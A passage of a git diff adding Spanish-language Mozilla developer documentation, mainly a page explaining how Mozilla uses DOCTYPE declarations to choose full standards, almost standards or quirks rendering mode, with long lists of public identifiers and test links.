+<p>Los métodos preferidos de encriptación son <code>TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA</code> y <code>TLS_RSA_WITH_3DES_EDE_CBC_SHA</code>. Algunos sevidores se refieren a ellos como <code>SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA</code> y <code>SSL_RSA_WITH_3DES_EDE_CBC_SHA</code>.</p>
+
+<p>Si el soporte SSLv2 tuviera que ser activado, puede hacerse cambiando en las preferencias de usuario el valor <code>security.ssl2.*</code> deseado a <code>true</code>.</p>
diff --git a/files/es/selección_de_modo_en_mozilla/index.html b/files/es/selección_de_modo_en_mozilla/index.html
new file mode 100644
index 0000000000..2dae7b7909
--- /dev/null
+++ b/files/es/selección_de_modo_en_mozilla/index.html
@@ -0,0 +1,143 @@
+---
+title: Selección de modo en Mozilla
+slug: Selección_de_modo_en_Mozilla
+tags:
+  - Desarrollo_Web
+  - HTML
+  - Todas_las_Categorías
+  - XHTML
+  - XML
+---
+<p> </p>
+<p>Este documento describe cómo Mozilla utiliza el declaración de DOCTYPE para determinar si utilizar el modo estricto o el. El código que toma la decisión está actualmente en <a href="https://dxr.mozilla.org/mozilla-central/source/parser/htmlparser/src/nsParser.cpp#1021" rel="custom">DetermineParseMode() in nsParser.cpp</a>. Vea los <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1312" title='FIXED: "Standard" compatibility mode needs to be hooked to DOCTYPE'>error 1312</a> y <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=55264" title="FIXED: [DOCTYPE] Documents with unknown DOCTYPE should be displayed in strict mode">error 55264</a> para saber más sobre la historia de la selección del modo. Vea el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=153032" title="FIXED: Implement almost-standards rendering mode">error 153032</a> sobre la creación del modo Casi-Estándar en Mozilla 1.0.</p>
+<p>Las metas que indujeron a elegir este comportamiento fueron las siguientes::</p>
+<ul>
+ <li>Casi todas las páginas existentes de <code>text/html</code> en la web que necesiten estar en el modo quirks para visualizarse correctamente deben exhibirse usando el modo quirks. (<em>Almost</em> all, rather than all, to allow for the following points as well.)</li>
+ <li>Los autores que escriben páginas web según los estándares actuales deben poder activar el modo estricto.</li>
+ <li>Cualquier página escrita usando un identificador público en las declaraciones de DOCTYPE que aparezcan en el futuro deberán exhibirse usando el modo estricto.</li>
+</ul>
+<p>En otras palabras, el algoritmo es la mejor aproximación que podemos encontrar para determinarse qué páginas fueron escritas después de que Mozilla se convirtiese en un 'agente de usuario' importante en la Web.</p>
+<h2 id="Modo_Est.C3.A1ndar_Completo" name="Modo_Est.C3.A1ndar_Completo">Modo Estándar Completo</h2>
+<p>Lo siguiente activa el modo estándar completo:</p>
+<ul>
+ <li>Cualquier documento enviado con un tipo MIME de XML como son: <code>text/xml</code>, <code>application/xml</code>, o <code>application/xhtml+xml</code> (la selección del modo solo se aplica a documentos enviados como text/html).</li>
+ <li>Cualquier <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+SYSTEM+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Fstrict.dtd%22%3E">"DOCTYPE HTML SYSTEM"</a> sin un "DOCTYPE HTML PUBLIC", excepto para el doctype de IBM indicado mas abajo.</li>
+ <li>Una declaración de DOCTYPE sin DTD, i.e., <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML%3E">&lt;!DOCTYPE HTML&gt;</a>.</li>
+ <li>Una declaración de DOCTYPE con un <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+%5B+%3C%21ELEMENT+TEST+-+-+%28P%29+%3E+%5D%3E+">subconjunto interno</a>.</li>
+ <li>Un doctype desconocido, incluyendo los siguentes doctypes (tecnicamente conocidos):
+  <ul>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01//EN"</a>.</li>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0//EN"</a>.</li>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Strict%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Strict//EN"</a>.</li>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22ISO%2FIEC+15445:2000%2F%2FDTD+HyperText+Markup+Language%2F%2FEN%22%3E">"ISO/IEC 15445:2000//DTD HyperText Markup Language//EN"</a>.</li>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22ISO%2FIEC+15445:2000%2F%2FDTD+HTML%2F%2FEN%22%3E">"ISO/IEC 15445:2000//DTD HTML//EN"</a>.</li>
+   <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+i18n%2F%2FEN%22%3E">"-//IETF//DTD HTML i18n//EN"</a>.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Modo_casi_est.C3.A1ndar" name="Modo_casi_est.C3.A1ndar">Modo casi estándar</h2>
+<p>Lo siguiente activa el modo casi estándar. el fue creado entre (1.0 y 1.1alpha) y (1.0.1 y 1.1beta). Antes de su creación estos DOCTYPE activaban el modo estándar completo.</p>
+<ul>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Transitional%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Transitional//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Frameset%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Frameset//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Transitional%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2Fhtml4%2Floose.dtd%22%3E">"-//W3C//DTD HTML 4.01 Transitional//EN"</a>, con identificador de sistema.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Frameset%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2Fhtml4%2Fframeset.dtd%22%3E">"-//W3C//DTD HTML 4.01 Frameset//EN"</a>, con identificador de sistema.</li>
+</ul>
+<h2 id="Modo_Quirks" name="Modo_Quirks">Modo Quirks</h2>
+<p>Lo siguiente activa el modo quirks (esta lista necesita ser completa para garantizar que todas las páginas ya existentes en la www pueden activar el modo quirks):</p>
+<p>En la elaboración de esta lista han sido utilizados los siguientes sitios: <a class="external" href="http://validator.w3.org/sgml-lib/catalog">W3C HTML Validator</a>, <a class="external" href="http://www.htmlhelp.com/tools/validator/lib/catalog">HTMLHelp HTML Validator</a>.</p>
+<ul>
+ <li>la <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=">ausencia de DOCTYPE</a>.</li>
+ <li>Una <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%3Fxml+version%3D%221.0%22%3F%3E">declaración XML (pseudo-PI) sin doctype</a> (osea, ignora la declaración XML y usa el DOCTYPE). En 1.0 y 1.1alpha o superior (Pero no en 1.0.1 o 1.1beta), la presencia de una declaración XML activa el modo estándar completo.</li>
+ <li>Una declaración de DOCTYPE que <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+NOT+UNDERSTOOD%3E">no puede ser entendida</a> (Ejemplo: comillas desparejadas).</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+html+SYSTEM+%22http%3A%2F%2Fwww.ibm.com%2Fdata%2Fdtd%2Fv11%2Fibmxhtml1-transitional.dtd%22%3E">"http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd"</a> (Antes de 1.5b y 1.4.2, esto activaba el Modo casi estándar).</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Transitional%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01 Transitional//EN"</a>, sin identificador de sistema.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Frameset%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01 Frameset//EN"</a>, sin identificador de sistema.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Transitional%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0 Transitional//EN"</a> (vea también <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Transitional%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Floose.dtd%22%3E">test with a system identifier</a>).</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Frameset%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0 Frameset//EN"</a> (vea también <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Frameset%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Fframeset.dtd%22%3E">test with a system identifier</a>).</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSoftQuad+Software%2F%2FDTD+HoTMetaL+PRO+6.0::19990601::extensions+to+HTML+4.0%2F%2FEN%22%3E">"-//SoftQuad Software//DTD HoTMetaL PRO 6.0::19990601::extensions to HTML 4.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSoftQuad%2F%2FDTD+HoTMetaL+PRO+4.0::19971010::extensions+to+HTML+4.0%2F%2FEN%22%3E">"-//SoftQuad//DTD HoTMetaL PRO 4.0::19971010::extensions to HTML 4.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML//EN//3.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+3.0%2F%2FEN%2F%2F%22%3E">"-//W3O//DTD W3 HTML 3.0//EN//"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+3.0%2F%2FEN%22%3E">"-//W3O//DTD W3 HTML 3.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3+1995-03-24%2F%2FEN%22%3E">"-//W3C//DTD HTML 3 1995-03-24//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.0%2F%2FEN%22%3E">"-//IETF//DTD HTML 3.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.0%2F%2FEN%2F%2F%22%3E">"-//IETF//DTD HTML 3.0//EN//"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3%2F%2FEN%22%3E">"-//IETF//DTD HTML 3//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+3%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 3//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+3%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Level 3//EN//3.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.2%2F%2FEN%22%3E">"-//IETF//DTD HTML 3.2//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FAdvaSoft+Ltd%2F%2FDTD+HTML+3.0+asWedit+%2B+extensions%2F%2FEN%22%3E">"-//AS//DTD HTML 3.0 asWedit + extensions//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FAdvaSoft+Ltd%2F%2FDTD+HTML+3.0+asWedit+%2B+extensions%2F%2FEN%22%3E">"-//AdvaSoft Ltd//DTD HTML 3.0 asWedit + extensions//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Strict//EN//3.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+Strict+3.0%2F%2FEN%2F%2F%22%3E">"-//W3O//DTD W3 HTML Strict 3.0//EN//"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+3%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 3//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+3%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Strict Level 3//EN//3.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22HTML%22%3E">"HTML"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//IETF//DTD HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 2//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+2%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 2//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Level 2//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 1//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+1%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 1//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Level 1//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+0%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+0%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 0//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 2//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+2%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 2//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict Level 2//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 1//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+1%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 1//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict Level 1//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+0%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+0%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 0//EN//2.0"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FWebTechs%2F%2FDTD+Mozilla+HTML%2F%2FEN%22%3E">"-//WebTechs//DTD Mozilla HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FWebTechs%2F%2FDTD+Mozilla+HTML+2.0%2F%2FEN%22%3E">"-//WebTechs//DTD Mozilla HTML 2.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+Strict+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD Strict HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+HTML%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+HTML+Strict%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 HTML Strict//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+Tables%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 Tables//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+HTML%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+HTML+Strict%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 HTML Strict//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+Tables%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 Tables//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSun+Microsystems+Corp.%2F%2FDTD+HotJava+HTML%2F%2FEN%22%3E">"-//Sun Microsystems Corp.//DTD HotJava HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSun+Microsystems+Corp.%2F%2FDTD+HotJava+Strict+HTML%2F%2FEN%22%3E">"-//Sun Microsystems Corp.//DTD HotJava Strict HTML//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.1E%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.1E//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+Extended+1.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML Extended 1.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+Extended+Relaxed+1.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML Extended Relaxed 1.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+2.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML 2.0//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSQ%2F%2FDTD+HTML+2.0+HoTMetaL+%2B+extensions%2F%2FEN%22%3E">"-//SQ//DTD HTML 2.0 HoTMetaL + extensions//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSpyglass%2F%2FDTD+HTML+2.0+Extended%2F%2FEN%22%3E">"-//Spyglass//DTD HTML 2.0 Extended//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22%2B%2F%2FSilmaril%2F%2FDTD+HTML+Pro+v0r11+19970101%2F%2FEN%22%3E">"+//Silmaril//DTD HTML Pro v0r11 19970101//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+Experimental+19960712%2F%2FEN%22%3E">"-//W3C//DTD HTML Experimental 19960712//EN"</a>.</li>
+ <li>El identificador público <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2//EN"</a>.</li>
